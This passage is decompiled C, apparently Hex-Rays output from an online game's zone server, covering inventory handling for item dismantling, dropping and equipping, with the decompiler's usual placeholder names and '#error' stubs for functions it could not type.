"ItemDismantleProducer::~ItemDismantleProducer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemDismantleProducer::~ItemDismantleProducer"); } //----- (004D8410) -------------------------------------------------------- signed __int16 __thiscall ItemDismantleProducer::idp_WhereDismantleProductStore(void *ecx0, char a2, int a3, char a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, int a15, int a16, int a17, int a18, int a19, int a20, int a21, int a22, int a23, int a24, int a25, int a26, int a27, int a28, int a29, int a30, char a31) { void *v31; // esi@1 signed int v32; // ebx@1 int v33; // edx@1 ItemDataBox::ItemDataBoxIndex *v34; // edx@1 FunctionProfiler::PerformanceRecorder *v35; // ecx@2 unsigned int v37; // eax@4 unsigned int v38; // ecx@4 signed int v39; // edx@4 int v40; // edi@4 int v41; // eax@10 int v42; // ecx@10 __int16 v43; // bx@10 int v44; // eax@11 int v45; // eax@13 int v46; // ebx@14 int v47; // eax@16 int v48; // edx@17 int j; // ecx@17 int v50; // ebx@24 int v51; // eax@25 int v52; // ecx@25 int v53; // eax@26 InventoryLocking::InventoryCellLock *v54; // eax@28 ItemBoxIterator *v55; // edx@29 int v56; // ecx@29 int k; // eax@29 int v58; // ST08_4@35 CServerInfo::MY_SERVER *v59; // eax@35 void *v60; // ebx@35 char *v61; // [sp+2h] [bp-184h]@2 char isAlreadySettle; // [sp+1Dh] [bp-169h]@8 int nNowProductItemLot; // [sp+1Eh] [bp-168h]@8 signed int i; // [sp+22h] [bp-164h]@4 void *v65; // [sp+26h] [bp-160h]@1 unsigned int nProductCnt; // [sp+2Ah] [bp-15Ch]@4 unsigned int nMaxItemLot; // [sp+2Eh] [bp-158h]@4 int *uii; // [sp+32h] [bp-154h]@13 int v69; // [sp+36h] [bp-150h]@13 int v70; // [sp+3Ah] [bp-14Ch]@13 InventoryLocking::UnlockedInventoryIterator this; // [sp+3Eh] [bp-148h]@28 int UseSlotCheckCnt; // [sp+4Ah] [bp-13Ch]@23 int ibie; // [sp+4Eh] [bp-138h]@25 int v74; // [sp+52h] [bp-134h]@25 int v75; // [sp+5Ah] [bp-12Ch]@28 int ibii; // [sp+5Eh] [bp-128h]@10 int v77; // [sp+62h] [bp-124h]@10 int v78; // [sp+6Ah] [bp-11Ch]@13 int v79; // [sp+6Eh] [bp-118h]@13 FunctionEntarance _; // [sp+72h] [bp-114h]@1 int UseSlotCheck; // [sp+76h] [bp-110h]@4 char v82; // [sp+7Ah] [bp-10Ch]@4 int v83; // [sp+182h] [bp-4h]@1 int v84; // [sp+186h] [bp+0h]@23 void *v85; // [sp+18Ah] [bp+4h]@23 v31 = ecx0; v65 = ecx0; _.fe_FunctionCode = "ItemDismantleProducer::idp_WhereProductStore"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemDismantleProducer::idp_WhereProductStore"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemDismantleProducer::idp_WhereProductStore"; v32 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v33 = *((_WORD *)v31 + 4); v83 = 0; v34 = ItemDataBox::operator__(&itemdatabox, v33); if ( v34 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "ItemDismantleProducer::idp_WhereProductStore : Invalid Item", *((_WORD *)v31 + 4)); --funcallanalizer.fca_stackpoint; v83 = -1; v61 = "ItemDismantleProducer::idp_WhereProductStore"; v35 = &_PerformanceRecorder; goto LABEL_3; } UseSlotCheck = -1; memset(&v82, 0, 0xFCu); v37 = *((_DWORD *)v31 + 3); v38 = v34->data->MaxLot; v39 = 0; v40 = 0; nProductCnt = *((_DWORD *)v31 + 3); nMaxItemLot = v38; i = 0; if ( (signed int)v37 <= 0 ) goto LABEL_38; while ( 2 ) { if ( v39 >= 64 ) goto LABEL_38; isAlreadySettle = 0; nNowProductItemLot = v38; if ( !(v37 / v38) ) nNowProductItemLot = v37 % v38; LOWORD(v83) = nNowProductItemLot; v41 = *((_DWORD *)v31 + 2148); v42 = *((_DWORD *)v31 + 1); v43 = *((_WORD *)v31 + 4); ibii = (int)ItemBoxIterator::_vftable_; v77 = v42; if ( v41 ) v44 = (*(int (__stdcall **)(int))(*(_DWORD *)v42 + 4))(v41); else v44 = (*(int (**)(void))(*(_DWORD *)v42 + 8))(); v78 = v44; ibii = (int)&ItemBoxIterIdent::_vftable_; LOWORD(v79) = v43; v45 = *(_DWORD *)v31; uii = &ibii; LOBYTE(v83) = 1; v69 = v45; v70 = 9; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) goto LABEL_24; while ( 1 ) { v46 = (**(int (__stdcall ***)(_DWORD))uii[1])(uii[2]); if ( v46 != 0 ) break; AssertClass::ac_AssertFail(&shineassert, "ItemDismantleProducer::idp_WhereProductStore : Invalid cell", 0); LABEL_21: if ( !InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&uii) ) goto LABEL_24; } v47 = (*(int (__stdcall **)(int))(**(_DWORD **)(v46 + 112) + 24))(v46 + 8); if ( v47 + nNowProductItemLot > nMaxItemLot ) goto LABEL_21; v48 = uii[2]; for ( j = 0; j < v40; ++j ) { if ( *(&UseSlotCheck + j) == v48 ) break; } if ( j != v40 ) goto LABEL_21; *(&UseSlotCheck + v40) = v48; v84 = v46; UseSlotCheckCnt = v40 + 1; memcpy(&a2, (const void *)v46, 0x6Cu); LOWORD(a29) = *(_WORD *)(v46 + 108); BYTE2(a29) = *(_BYTE *)(v46 + 110); v85 = *(void **)(v46 + 112); (*(void (__thiscall **)(_DWORD, char *, int))(**(_DWORD **)(v46 + 112) + 28))( *(_DWORD *)(v46 + 112), &a4, nNowProductItemLot + v47); v40 = UseSlotCheckCnt; v31 = v65; a30 = uii[2]; a31 = 0; isAlreadySettle = 1; LABEL_24: v50 = (int)ItemBoxIterator::_vftable_; LOBYTE(v83) = 0; ibii = (int)ItemBoxIterator::_vftable_; if ( isAlreadySettle ) goto LABEL_43; v51 = *((_DWORD *)v31 + 2148); v52 = *((_DWORD *)v31 + 1); ibie = (int)ItemBoxIterator::_vftable_; v74 = v52; if ( v51 ) v53 = (*(int (__stdcall **)(int))(*(_DWORD *)v52 + 4))(v51); else v53 = (*(int (**)(void))(*(_DWORD *)v52 + 8))(); v75 = v53; ibie = (int)&ItemBoxIterEmpty::_vftable_; v54 = *(InventoryLocking::InventoryCellLock **)v31; this.uii_Iterator = (ItemBoxIterator *)&ibie; LOBYTE(v83) = 2; this.uii_LockList = v54; this.uii_InvenType = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home(&this) ) { while ( 1 ) { v55 = this.uii_Iterator; v56 = this.uii_Iterator->ibi_finger; for ( k = 0; k < v40; ++k ) { if ( *(&UseSlotCheck + k) == v56 ) break; } if ( k == v40 ) break; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Next(&this) ) goto LABEL_36; } *(&UseSlotCheck + v40++) = v56; v84 = (**(int (__stdcall ***)(_DWORD))v55->ibi_itembag)(v55->ibi_finger); v58 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v59 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)&a2, 8, v59->nZoneNo, v58); *(_WORD *)&a4 = *((_WORD *)v65 + 4); v60 = ItemAttributeClassContainer::operator__(&itmattcontainer, *((_WORD *)v65 + 4)); (*(void (__thiscall **)(void *, char *, int))(*(_DWORD *)v60 + 28))(v60, &a4, nNowProductItemLot); v31 = v65; v85 = v60; a30 = this.uii_Iterator->ibi_finger; a31 = 1; isAlreadySettle = 1; v50 = (int)ItemBoxIterator::_vftable_; } LABEL_36: LOBYTE(v83) = 0; ibie = v50; if ( isAlreadySettle ) { LABEL_43: ++i; v39 = i; v32 = -1; nProductCnt -= nNowProductItemLot; if ( (signed int)nProductCnt > 0 ) { v38 = nMaxItemLot; v37 = nProductCnt; continue; } LABEL_38: *((_DWORD *)v31 + 4) = v39; --funcallanalizer.fca_stackpoint; v61 = "ItemDismantleProducer::idp_WhereProductStore"; v83 = v32; v35 = &_PerformanceRecorder; if ( v39 > 0 ) { FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ItemDismantleProducer::idp_WhereProductStore"); return 5760; } LABEL_3: FunctionProfiler::PerformanceRecorder::pr_Exit(v35, v61); return 5771; } break; } --funcallanalizer.fca_stackpoint; v83 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemDismantleProducer::idp_WhereProductStore"); return 5772; } // 4D8410: inconsistent function type and number of purged bytes // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A8: using guessed type int (__thiscall *ItemBoxIterEmpty___vftable_)(_DWORD); // 59C6AC: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (004D8870) -------------------------------------------------------- #error "4D8870: undefined or illegal type '#440' (funcsize=213)" //----- (004D8B30) -------------------------------------------------------- #error "4D8B30: undefined or illegal type '#440' (funcsize=350)" //----- (004D9070) -------------------------------------------------------- #error "4D9070: undefined or illegal type '#331' (funcsize=89)" //----- (004D91C0) -------------------------------------------------------- void __thiscall BriefInformationDropItem::bidi_InitBriefInfo(BriefInformationDropItem *this, unsigned __int16 handle, unsigned __int16 itemid, SHINE_XY_TYPE *loc, int rareness, unsigned __int16 dropmob) { PROTO_NC_BRIEFINFO_DROPEDITEM_CMD *v6; // edx@1 this->bidi_BriefInfo->handle = handle; this->bidi_BriefInfo->itemid = itemid; v6 = this->bidi_BriefInfo; v6->location.x = loc->x; v6->location.y = loc->y; this->bidi_BriefInfo->dropmobhandle = dropmob; this->bidi_BriefInfo->attr._bf0 ^= (rareness ^ this->bidi_BriefInfo->attr._bf0) & 7; this->bidi_BriefInfo->attr._bf0 &= 0xF7u; } //----- (004D9220) -------------------------------------------------------- char __thiscall ItemDataBox::idb_NoDropItem(ItemDataBox *this, unsigned __int16 item, char *invaliditem) { int v3; // eax@2 char result; // al@3 *invaliditem = 1; if ( item < this->idb_maxItemhandle && (v3 = item, this->idb_index[v3].data) ) { *invaliditem = 0; result = this->idb_index[v3].data->NoDrop; } else { result = 1; } return result; } //----- (004D9260) -------------------------------------------------------- char __stdcall ShineObjectClass::ShineObject::so_drpitm_CanLooting(int a1) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_drpitm_CanLooting", 0); return 0; } //----- (004D9280) -------------------------------------------------------- #error "4D9280: undefined or illegal type '#440' (funcsize=102)" //----- (004D93F0) -------------------------------------------------------- #error "4D93F0: undefined or illegal type '#440' (funcsize=196)" //----- (004D96A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_DROP_REQ(void *this, int netcmd, char invaliditem, __int16 handle) { void *v4; // esi@1 int v5; // eax@5 int v6; // ebx@12 int v7; // eax@12 int v8; // ecx@15 int v9; // eax@20 int v10; // eax@34 int v11; // ST14_4@38 signed int v12; // eax@38 int v13; // eax@39 int v14; // edi@39 unsigned __int16 *v15; // ebp@40 int v16; // edx@41 void *v17; // ecx@41 int v18; // eax@42 __int16 v19; // ax@44 char v20; // al@56 signed int v21; // [sp+10h] [bp-34h]@25 signed int v22; // [sp+14h] [bp-30h]@9 void **v23; // [sp+14h] [bp-30h]@25 signed int v24; // [sp+14h] [bp-30h]@41 FunctionEntarance _; // [sp+28h] [bp-1Ch]@1 int inventory; // [sp+2Ch] [bp-18h]@15 unsigned __int16 v27[2]; // [sp+30h] [bp-14h]@50 int err; // [sp+34h] [bp-10h]@56 int v29; // [sp+40h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DROP_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DROP_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DROP_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v29 = 0; if ( !(_S4_9 & 1) ) { _S4_9 |= 1u; cmc_60.cmc_AllowMode = 70; atexit(_E5_52); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_60.cmc_AllowMode) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 8, 770); LABEL_65: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DROP_REQ"); return; } v5 = *(_DWORD *)((char *)v4 + 98); if ( !v5 || !*(_BYTE *)(*(_DWORD *)(v5 + 12) + 158) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 8, 782); goto LABEL_65; } if ( *((_WORD *)v4 + 34718) & 0xC ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 12, 578); goto LABEL_65; } if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14442) + 16))((char *)v4 + 57768) ) { v22 = 770; goto LABEL_10; } v6 = netcmd + 2; v7 = (unsigned int)*(_WORD *)(netcmd + 2) >> 10; switch ( v7 ) { case 8: if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)((char *)v4 + 98) + 12) + 54) == 2 ) { v22 = 782; goto LABEL_10; } v8 = (int)((char *)v4 + 32200); inventory = (int)((char *)v4 + 32200); goto LABEL_37; case 9: if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)((char *)v4 + 98) + 12) + 54) == 2 ) goto LABEL_29; if ( clockwatch.cw_CurrTick < *((_DWORD *)v4 + 1793) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 8, 770); goto LABEL_11; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1136))(v4) == 6 ) { v9 = *(_WORD *)v6 & 0x3FF; if ( *((_WORD *)v4 + 46062) == v9 || *((_WORD *)v4 + 46063) == v9 ) { v22 = 783; goto LABEL_10; } } v8 = (int)((char *)v4 + 35568); inventory = (int)((char *)v4 + 35568); goto LABEL_37; case 3: if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)((char *)v4 + 98) + 12) + 54) != 2 ) goto LABEL_29; v23 = (void **)&inventory; v21 = 3; goto LABEL_34; case 13: if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)((char *)v4 + 98) + 12) + 54) != 2 ) goto LABEL_29; v23 = (void **)&inventory; v21 = 13; goto LABEL_34; case 14: if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)((char *)v4 + 98) + 12) + 54) != 2 ) { LABEL_29: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 8, 782); goto LABEL_11; } v23 = (void **)&inventory; v21 = 14; goto LABEL_34; case 16: if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)((char *)v4 + 98) + 12) + 54) != 2 ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 776))(v4, 12, 8, 782); goto LABEL_11; } v23 = (void **)&inventory; v21 = 16; LABEL_34: v10 = (*(int (__thiscall **)(void *, signed int, void **))(*(_DWORD *)v4 + 80))(v4, v21, v23); if ( v10 != 4481 ) { (*(void (__thiscall **)(void *, signed int, signed int, int))(*(_DWORD *)v4 + 776))(v4, 12, 8, v10); goto LABEL_11; } v8 = inventory; LABEL_37: if ( v8 ) { v11 = *(_WORD *)v6 & 0x3FF; v12 = (*(int (**)(void))(*(_DWORD *)v8 + 8))(); if ( !AssertClass::operator__( &shineassert, (signed int)((unsigned int)*(_WORD *)v6 >> 10) < v12, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DROP_REQ : wrong slot", v11) ) { v13 = (**(int (__stdcall ***)(_DWORD))inventory)(*(_WORD *)v6 & 0x3FF); v14 = v13; if ( v13 ) { v15 = (unsigned __int16 *)(v13 + 8); if ( *(_WORD *)(v13 + 8) == -1 ) { v16 = *(_DWORD *)v4; v24 = 771; v17 = v4; } else { v18 = **(_DWORD **)(v13 + 112); LOBYTE(netcmd) = 0; if ( (*(int (**)(void))(v18 + 36))() == 3 || ItemDataBox::idb_NoDropItem(&itemdatabox, *v15, (char *)&netcmd) ) { v19 = *(_WORD *)v6 >> 10; if ( v19 != 9 && v19 != 3 && v19 != 13 && v19 != 14 && v19 != 16 ) { v16 = *(_DWORD *)v4; v24 = 781; v17 = v4; goto LABEL_59; } *(_DWORD *)v27 = 781; if ( (_BYTE)netcmd || !ItemBreaker::ib_Break( (ItemBreaker *)v4 + 92152, (#440 *)v4, (ItemInventoryCell *)v14, *(ITEM_INVEN *)v6, v27) ) (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 776))(v4, 12, 8, v27[0]); else (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 8, 769); } if ( (unsigned int)(*(int (__stdcall **)(int))(**(_DWORD **)(v14 + 112) + 24))(v14 + 8) > *(_DWORD *)(v6 + 2) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 8, 771); LABEL_60: v29 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } err = 781; v20 = ItemDropper::id_Drop( (ItemDropper *)v4 + 92153, (#440 *)v4, (ItemInventoryCell *)v14, (ITEM_INVEN *)v6, (PROTO_NC_ITEM_DROP_REQ *)v6, (unsigned __int16 *)&err); v16 = *(_DWORD *)v4; v17 = v4; if ( v20 ) v24 = 769; else v24 = (unsigned __int16)err; } LABEL_59: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v16 + 776))(v17, 12, 8, v24); goto LABEL_60; } } } LABEL_62: v22 = 771; LABEL_10: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 8, v22); LABEL_11: v29 = -1; FunctionEntarance::_FunctionEntarance(&_); return; default: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DROP_REQ : Invalid inventory type", v7); goto LABEL_62; } } //----- (004D9B90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::so_drpitm_CanLootingBitSet(ShineObjectClass::ShineDropItem *this, #331 *obj) { ShineObjectClass::ShineDropItem *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_drpitm_CanLootingBitSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDropItem::so_drpitm_CanLootingBitSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->sdi_ItemBriefInfo.bidi_BriefInfo->attr._bf0 ^= (v2->sdi_ItemBriefInfo.bidi_BriefInfo->attr._bf0 ^ 8 * (*(int (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)&v2->gap0[0] + 1320))(v2, obj)) & 8; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_drpitm_CanLootingBitSet"); } //----- (004D9C50) -------------------------------------------------------- #error "4D9C50: undefined or illegal type '#331' (funcsize=66)" //----- (004D9D60) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_ItemDrop(__int16 handle, int a2, int item, int type, char looter_isparty, int looter_handle) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ItemDrop"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ItemDrop"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_ItemDrop", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ItemDrop"); return 771; } //----- (004D9E00) -------------------------------------------------------- #error "4D9E00: undefined or illegal type '#331' (funcsize=246)" //----- (004DA150) -------------------------------------------------------- #error "4DA150: undefined or illegal type '#331' (funcsize=150)" //----- (004DA350) -------------------------------------------------------- #error "4DA350: undefined or illegal type '#331' (funcsize=54)" //----- (004DA430) -------------------------------------------------------- #error "4DA430: undefined or illegal type '#331' (funcsize=65)" //----- (004DA520) -------------------------------------------------------- #error "4DA520: undefined or illegal type '#331' (funcsize=65)" //----- (004DA610) -------------------------------------------------------- #error "4DA610: undefined or illegal type '#440' (funcsize=48)" //----- (004DA690) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_EquitEnd(void *this) { *((_BYTE *)this + 66044) = 0; ShineObjectClass::ShinePlayer::sp_DecorationActivCheck(this); } //----- (004DA6A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_BackupParameter(int this, void *last) { memcpy(last, (const void *)(this + 6948), 0xC4u); } //----- (004DA6C0) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ(int a1, int a2, int netcmd, int len, __int16 handle, __int16 a6) { int v6; // esi@1 int v7; // edx@6 int v8; // edi@6 int v9; // edx@10 int v10; // ST9C_4@10 int v11; // edi@10 int v12; // eax@10 int v13; // ebx@10 ItemDataBox::ItemDataBoxIndex *v14; // eax@11 unsigned __int16 v15; // ST9C_2@11 ItemDataBox::ItemDataBoxIndex *v16; // eax@11 ItemInfoServer *v17; // ebx@11 ItemEquipEnum v18; // ebx@17 int v19; // eax@24 unsigned __int16 v20; // ax@25 ItemDataBox::ItemDataBoxIndex *v21; // eax@26 int v22; // eax@32 int v23; // eax@34 signed int v24; // ebx@37 signed int v25; // ebp@37 int v26; // eax@45 unsigned __int16 v27; // ax@46 int v28; // eax@47 ItemDataBox::ItemDataBoxIndex *v29; // eax@49 ItemInfo *v30; // eax@50 WeaponTypeEnum v31; // eax@51 bool v32; // sf@54 unsigned __int8 v33; // of@54 signed int v34; // eax@59 int v35; // eax@62 void *v36; // ebx@65 ItemBoxIteratorVtbl *v37; // eax@65 char *v38; // ebp@65 int v39; // edx@65 ItemBoxIteratorVtbl *v40; // ebx@65 char v41; // al@65 int v42; // ebx@69 void *v43; // eax@70 InventoryLocking::InventoryCellLockVtbl *v44; // edx@70 int v45; // eax@70 int v46; // edx@71 int v47; // eax@72 int v48; // eax@72 int v49; // eax@72 int v50; // eax@72 int v51; // edx@72 bool v52; // zf@72 __int16 v53; // cx@77 int v54; // eax@77 int v55; // eax@83 int v56; // edx@83 int v57; // eax@83 int v58; // eax@83 int v59; // ST98_4@83 int v60; // ST90_4@83 char v61; // al@83 ZoneBaseSession *v62; // eax@84 ItemInfo *v63; // edi@86 int v64; // [sp+9Ch] [bp-14Ch]@70 FunctionEntarance _; // [sp+ACh] [bp-13Ch]@1 ItemInfoServer *invequ; // [sp+B4h] [bp-134h]@11 int insertslot; // [sp+B8h] [bp-130h]@6 void *invchr; // [sp+BCh] [bp-12Ch]@7 int excellnum; // [sp+C0h] [bp-128h]@71 int equslot; // [sp+C4h] [bp-124h]@65 ItemEquipEnum invcell; // [sp+C8h] [bp-120h]@17 int mainslot; // [sp+CCh] [bp-11Ch]@10 InventoryLocking::UnlockedInventoryIterator uii; // [sp+D0h] [bp-118h]@10 signed int insertcell; // [sp+DCh] [bp-10Ch]@66 void *equcell; // [sp+E0h] [bp-108h]@70 ItemBoxIterEmpty ibie; // [sp+E4h] [bp-104h]@65 EquipEnumChanger::ExclusiveCell excell[29]; // [sp+F4h] [bp-F4h]@65 int v78; // [sp+1E4h] [bp-4h]@1 void *v79; // [sp+1E8h] [bp+0h]@66 v6 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v78 = 0; if ( !(_S4_10 & 1) ) { _S4_10 |= 1u; cmc_61.cmc_AllowMode = 70; atexit(_E5_53); } if ( !((1 << **(_BYTE **)(v6 + 3716)) & cmc_61.cmc_AllowMode) || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)(v6 + 57768) + 16))(v6 + 57768) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v6 + 776))(v6, 12, 17, 642); --funcallanalizer.fca_stackpoint; v78 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ"); return; } v7 = *(_DWORD *)(v6 + 35568); v8 = *(_BYTE *)(netcmd + 2); insertslot = *(_BYTE *)(netcmd + 2); if ( v8 >= (*(int (__thiscall **)(int, int))(v7 + 8))(v6 + 35568, a2) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ : wrong slot", (int)invchr); (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v6 + 776))(v6, 12, 17); --funcallanalizer.fca_stackpoint; v78 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ"); return; } if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int, int))(*(_DWORD *)(v6 + 57768) + 12))(v6 + 57768, 9, v8) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v6 + 776))(v6, 12, 17); --funcallanalizer.fca_stackpoint; v78 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ"); return; } (*(void (__thiscall **)(int))(*(_DWORD *)v6 + 2712))(v6); v9 = *(_DWORD *)(v6 + 35568); v10 = *(_BYTE *)(netcmd + 2); v11 = v6 + 32200; uii.uii_Iterator = (ItemBoxIterator *)*(_BYTE *)(netcmd + 2); v12 = (*(int (__thiscall **)(int, int))v9)(v6 + 35568, v10); v13 = v12; LOWORD(v12) = *(_WORD *)(v12 + 8); mainslot = v13; if ( !ItemDataBox::operator__(&itemdatabox, v12) ) goto LABEL_18; v14 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v13 + 8)); v15 = *(_WORD *)(v13 + 8); invchr = v14->data; v16 = ItemDataBox::operator__(&itemdatabox, v15); v17 = v16->dataserv; invequ = v16->dataserv; if ( !AssertClass::operator__( &shineassert, invchr != 0, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ : Try to equip empty cell", 0) ) { if ( !((1 << (((unsigned int)*(_BYTE *)(v6 + 32155) >> 2) & 0x1F)) & *(_DWORD *)((char *)invchr + 199)) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); goto LABEL_89; } if ( *(_DWORD *)((char *)invchr + 119) > (unsigned int)(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1220))(v6) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); goto LABEL_89; } v18 = EquipEnumChanger::eec_EquipLocation(&equipman, v17, (ItemBag *)(v6 + 32200)); invcell = v18; if ( !v18 ) { LABEL_18: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); goto LABEL_89; } if ( *(_BYTE *)(v6 + 66044) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); goto LABEL_89; } if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int, ItemEquipEnum))(*(_DWORD *)(v6 + 57768) + 12))( v6 + 57768, 8, v18) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); goto LABEL_89; } if ( v18 == 10 ) { v19 = (**(int (__thiscall ***)(_DWORD, _DWORD))v11)(v6 + 32200, 13); if ( !v19 ) goto LABEL_29; v20 = *(_WORD *)(v19 + 8); if ( v20 != -1 ) { v21 = ItemDataBox::operator__(&itemdatabox, v20); if ( !v21 ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); goto LABEL_89; } if ( v21->data->TwoHand ) { LABEL_29: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); goto LABEL_89; } } } else { if ( v18 == 13 ) { if ( *((_BYTE *)invchr + 114) ) { v22 = (**(int (__thiscall ***)(_DWORD, _DWORD))v11)(v6 + 32200, 10); if ( !v22 || *(_WORD *)(v22 + 8) != -1 ) goto LABEL_29; } } } v23 = *(_DWORD *)((char *)invchr + 219); if ( v23 